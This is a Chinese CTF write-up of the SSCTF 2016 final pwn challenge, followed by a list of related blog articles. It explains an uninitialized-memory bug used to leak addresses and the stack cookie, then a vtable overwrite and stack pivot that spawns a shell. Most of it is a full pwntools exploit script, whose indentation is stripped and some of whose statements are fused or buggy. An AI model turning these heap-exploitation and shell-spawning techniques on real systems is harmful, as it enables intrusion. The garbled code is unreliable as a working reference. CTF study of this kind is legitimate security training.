比赛过去了两个月了,抽出时间,将当时的PWN给总结一下。

和线上塞的题的背景一样,只不过洞不一样了。Checksec一样,发现各种防护措施都开了。

程序模拟了简单的堆的管理,以及cookie的保护机制。漏洞是一个内存未初始化漏洞,就是申请内存的时候,上一次的内存还未清0,这个时候通过构造特定输入可以使用内存中仍有的内容。这样的话,容易造成数组的越界读写。就是通过数组的越界读写将程序的基址,libc的基址,堆的基址,cookie都给泄露了出来。通过构造任意地址写,将虚表指针覆盖为gadget地址,顺利拿到shell。参考了炜师傅的writeup,http://ww9210.cn/2016/04/15/ssctf-2016-final-pwn-writeup/

顺便说一下,在Libc里setcontext,swapcontext中有很好用gadget用来stack pivot。

此外,直接用pwntools的话,好像并不能用来对full relro使用dynelf进行信息泄露,github上最新的我没有尝试,如果可以的话也请大家可以告诉我;有人对pwntools进行了改进,成为了binjitsu,可以用来对full relro的程序进行dynelf,不过还是依赖了libcdatabase。http://uaf.io/exploitation/misc/2016/04/02/Finding-Functions.html 这一篇文章里介绍了进行信息泄露的两种方法,还没仔细看。

附上shell:

附上poc:

 from pwn import *
import time
#by wangaohui
#context.log_level = 'debug'
exe = 'final1'
s= remote('127.0.0.1',10001,timeout=60)
def getpid():
time.sleep(0.1)
pid= pwnlib.util.proc.pidof(exe)
print pid
raw_input('go!')
#getpid()
#alloc 12+3 items(align 8 byte,so 12+3+1)
s.recvuntil('_CMD_$')
s.sendline('sort')
s.recvuntil('How many numbers do you want to sort:')
s.sendline('')
for i in range(12):
s.recvuntil('number:')
s.sendline('')
s.recvuntil('Choose: ')
s.sendline('') #sort 3 items(3+3+2)
s.recvuntil('_CMD_$')
s.sendline('sort')
s.recvuntil('How many numbers do you want to sort:')
s.sendline('')
s.recvuntil('number:')
s.sendline('a')
s.recvuntil('Invalid number, stopped input!')
s.recvuntil('Choose: ')
s.sendline('') #sort
s.recvuntil('Choose: ')
s.sendline('')
s.recvuntil('Choose: ')
s.sendline('') #query
s.recvuntil('Query index: ')
s.sendline('')
s.recvuntil('Query result: ')
data = s.recvuntil(',')[:-1]
#print data
if data.startswith('-'):
big_chunk = (int(data[1:])^0xffffffff) + 1 - 8
#print hex(big_chunk)
else:
big_chunk = int(data) -8
#print hex(big_chunk)
print 'big_chunk addr is: ' + hex(big_chunk)
s.recvuntil('Choose: ')
s.sendline('') #sort 3 items(3+3+2)
s.recvuntil('_CMD_$')
s.sendline('sort')
s.recvuntil('How many numbers do you want to sort:')
s.sendline('')
for i in range(3):
s.recvuntil('number:')
s.sendline('')
s.recvuntil('Choose: ')
s.sendline('') #sort
s.recvuntil('Choose: ')
s.sendline('')
s.recvuntil('Choose: ')
s.sendline('') #reload
s.recvuntil('_CMD_$')
s.sendline('reload')
s.recvuntil('Reload history ID: ')
s.sendline('')
s.recvuntil('Choose: ')
s.sendline('')
s.recvuntil('Query index: ')
s.sendline('')
s.recvuntil('Query result: ')
data = s.recvuntil(',')[:-1]
#print data
if data.startswith('-'):
random = ((int(data[1:])^0xffffffff) + 1)^3
#print hex(random)
else:
random = int(data)^3
#print hex(random)
print 'random is: ' + hex(random)
s.recvuntil('Choose: ')
s.sendline('')
s.recvuntil('Query index: ')
s.sendline('')
s.recvuntil('Query result: ')
data = s.recvuntil(',')[:-1]
#print data
if data.startswith('-'):
pvt = ((int(data[1:])^0xffffffff) + 1)
heap = ((int(data[1:])^0xffffffff) + 1) - 0xa8
#print hex(heap)
else:
pvt = int(data)
heap = int(data) - 0xa8
#print hex(heap)
print 'heap addr is: ' + hex(heap)
s.recvuntil('Choose: ')
s.sendline('')
s.recvuntil('Update index: ')
s.sendline('')
s.recvuntil('Update number: ')
s.sendline(str(0x7fffffff))
s.recvuntil('Choose: ')
s.sendline('')
s.recvuntil('Update index: ')
s.sendline('')
s.recvuntil('Update number: ')
s.sendline(str(random^0x7fffffff))
s.recvuntil('Choose: ')
s.sendline('') s.recvuntil('_CMD_$')
s.sendline('sort')
s.recvuntil('How many numbers do you want to sort:')
s.sendline('')
for i in range(3):
s.recvuntil('number:')
s.sendline('')
s.recvuntil('Choose: ')
s.sendline('') #sort
s.recvuntil('Choose: ')
s.sendline('')
s.recvuntil('Choose: ')
s.sendline('') s.recvuntil('_CMD_$')
s.sendline('sort')
s.recvuntil('How many numbers do you want to sort:')
s.sendline('')
s.recvuntil('number:')
s.sendline('a')
s.recvuntil('Invalid number, stopped input!')
s.recvuntil('Choose: ')
s.sendline('')
start = (2+16+8+3)*4+big_chunk #items addr
if pvt>start:
index = (pvt-start)/4
else:
index = (pvt+0x100000000-start)/4
s.recvuntil('Query index: ')
s.sendline(str(index))
s.recvuntil('Query result: ')
data = s.recvuntil(',')[:-1]
#print data
if data.startswith('-'):
vt = ((int(data[1:])^0xffffffff) + 1)
else:
vt = int(data)
if vt>start:
index = (vt-start)/4
else:
index = (vt+0x100000000-start)/4
s.recvuntil('Choose: ')
s.sendline('')
s.recvuntil('Query index: ')
s.sendline(str(index))
s.recvuntil('Query result: ')
data = s.recvuntil(',')[:-1]
if data.startswith('-'):
base = ((int(data[1:])^0xffffffff) + 1 - 0x1D50)
else:
base = int(data - 0x1d50)
print 'exe base is: ' + hex(base)
def leak(addr):
if addr>start:
index = (addr-start)/4
else:
index = (addr+0x100000000-start)/4
s.recvuntil('Choose: ')
s.sendline('')
s.recvuntil('Query index: ')
s.sendline(str(index))
s.recvuntil('Query result: ')
data = s.recvuntil(',')[:-1]
if data.startswith('-'):
r = ((int(data[1:])^0xffffffff) + 1)
else:
r = int(data)
return p32(r)
d = DynELF(leak,pointer=base,elf=ELF('./final1'))
libc_base = d.lookup(None,'libc')
print 'libc_base is: ' + hex(libc_base)
#method 1
#e=d.libc
#str_binsh=(list(e.search('/bin/sh'))[0])
system= d.lookup('system','libc')
swapcontext = d.lookup('swapcontext','libc')
print 'swapcontext is: ' + hex(swapcontext)
pivot = swapcontext+(0x7f-0x10)
print 'system is: ' + hex(system) def update(addr,value):
if addr>start:
index = (addr-start)/4
else:
index = (addr+0x100000000-start)/4
s.recvuntil('Choose: ')
s.sendline('')
s.recvuntil('Update index: ')
s.sendline(str(index))
s.recvuntil('Update number: ')
if value>0x7fffffff:
s.sendline(str(value-0x100000000))
else:
s.sendline(str(value)) redir = big_chunk + (2+16+16)*4 + 0x200
eax = big_chunk + (2+16+16)*4 + 0x300
esp = big_chunk + (2+16+16)*4 + 0x400
#method 2
binsh = 0x6e69622f #/bin
binsh1 = 0x68732f #/sh\x00
str_binsh = big_chunk + (2+16+16)*4 + 0x500
update(str_binsh,binsh)
update(str_binsh + 4,binsh1)
#method 2 end ecx = eax + 0x4c
pesp = eax + 0x30 update(redir,pivot)
update(pesp,esp)
update(esp+4,str_binsh)
update(ecx,system)
update(start-4,eax)
update(eax,redir) s.recvuntil('Choose: ')
s.sendline('')
s.interactive() s.close()

SSCTF Final PWN的更多相关文章

  1. CTF必备技能丨Linux Pwn入门教程——stack canary与绕过的思路

    Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...

  2. [零基础学IoT Pwn] 环境搭建

    [零基础学IoT Pwn] 环境搭建 0x00 前言 这里指的零基础其实是我们在实战中遇到一些基础问题,再相应的去补充学习理论知识,这样起码不会枯燥. 本系列主要是利用网上已知的IoT设备(路由器)漏 ...

  3. java抽象、接口 和final

    抽象 一.抽象类:不知道是具体什么东西的类. abstract class 类名 1.抽象类不能直接new出来. 2.抽象类可以没有抽象方法. public abstract class USB { ...

  4. Java内部类final语义实现

    本文描述在java内部类中,经常会引用外部类的变量信息.但是这些变量信息是如何传递给内部类的,在表面上并没有相应的线索.本文从字节码层描述在内部类中是如何实现这些语义的. 本地临时变量 基本类型 fi ...

  5. Java关键字final、static

    一.final根据程序上下文环境,Java关键字final有“这是无法改变的”或者“终态的”含义,它可以修饰非抽象类.非抽象类成员方法和变量.你可能出于两种理解而需要阻止改变:设计或效率. final ...

  6. JavaSE 之 final 初探

    我们先看一道面试题: 请问 final 的含义是什么?可以用在哪里?其初始化的方式有哪些? 首先我们回答一下这道题,然后再探究其所以然.  1.final 表示“最终的”.“不可改变的”,意指其修饰类 ...

  7. Pwn~

    Pwn Collections Date from 2016-07-11 Difficult rank: $ -> $$... easy -> hard CISCN 2016 pwn-1 ...

  8. PHP的final关键字、static关键字、const关键字

    在PHP5中新增加了final关键字,它可以加载类或类中方法前.但不能使用final标识成员属性,虽然final有常量的意思,但在php中定义常量是使用define()函数来完成的. final关键字 ...

  9. final修饰符

    final本身的含义是"最终的,不可变的",它可以修饰非抽象类,非抽象方法和变量.注意:构造方法不能使用final修饰,因为构造方法不能被继承,肯定是最终的. final修饰的类: ...

随机推荐

  1. NYOJ17,单调递增最长子序列

    单调递增最长子序列 时间限制:3000 ms  |  内存限制:65535 KB 难度:4 描写叙述 求一个字符串的最长递增子序列的长度 如:dabdbf最长递增子序列就是abdf.长度为4 输入 第 ...

  2. DOS 选择跳转实现、dos + bcp 双击导入和导出数据

    DOS 选择跳转实现.dos + bcp 双击导入和导出数据 option.bat @echo off :Start2 cls goto Start :Start title Frequently U ...

  3. 在Docker中运行torch版的neural style

    相关的代码都在Github上,请参见我的Github,https://github.com/lijingpeng/deep-learning-notes 敬请多多关注哈~~~ 在Docker中运行to ...

  4. [HeadFrist-HTMLCSS学习笔记][认识HTML中的“HT”]

    学习超链接 超链接 使用\元素创建一个超文本链接,链接到另一个Web 页面. \元素的内容会变成为Web页面中可单击的文本.href属性告诉浏览器链接的目标文件 <a href="el ...

  5. linq和lamda表达式中添加时间判断时解决方案

    在工作中遇到个问题,在使用lamda查询数据的时候,需要添加一个时间判断, DateTime.AddDays(3) > e.ExpirationDate 例如:list = Context.Vo ...

  6. asp.net UpdatePanel 不能局部刷新问题汇总

    1.web.config 配置问题.   关于web.config的配置方面网上有很多资料参考,按照其方法做即可实现. 2.网站 Framework 版本变化造成不能局部刷新问题    版本更新时,会 ...

  7. alarm函数可以定时

    貌似是可以的,不过感觉好像这样用不是很好,最好还是用回timer_settimer一些列函数吧,不过既然开了头,就看下alarm怎么用吧. 1. 所需头文件  #include<unistd.h ...

  8. LP64是什么意思

    在64位机器上,如果int是32位,long是64位,pointer也是64位,那么该机器就是LP64的,其中的L表示Long,P表示Pointer,64表示Long和Pointer都是64位的.由于 ...

  9. 【mysql】1206 SQLSTATE: HY000 (ER_LOCK_TABLE_FULL) 问题

    最近在做一个项目,其中一需求是:部分数据库中的数据需要定时删除掉(满足一定条件,比如7天前的数据都不保留) 最初的执行方法: 使用Quartz定时执行数据库操作,进行数据删除,数据库操作使用delet ...

  10. 【转】Apache配置中ProxyPassReverse指令的含义

    此文章来源:http://blog.csdn.net/yl_wh/article/details/8697501 apache中的mod_proxy模块主要作用就是进行url的转发,即具有代理的功能. ...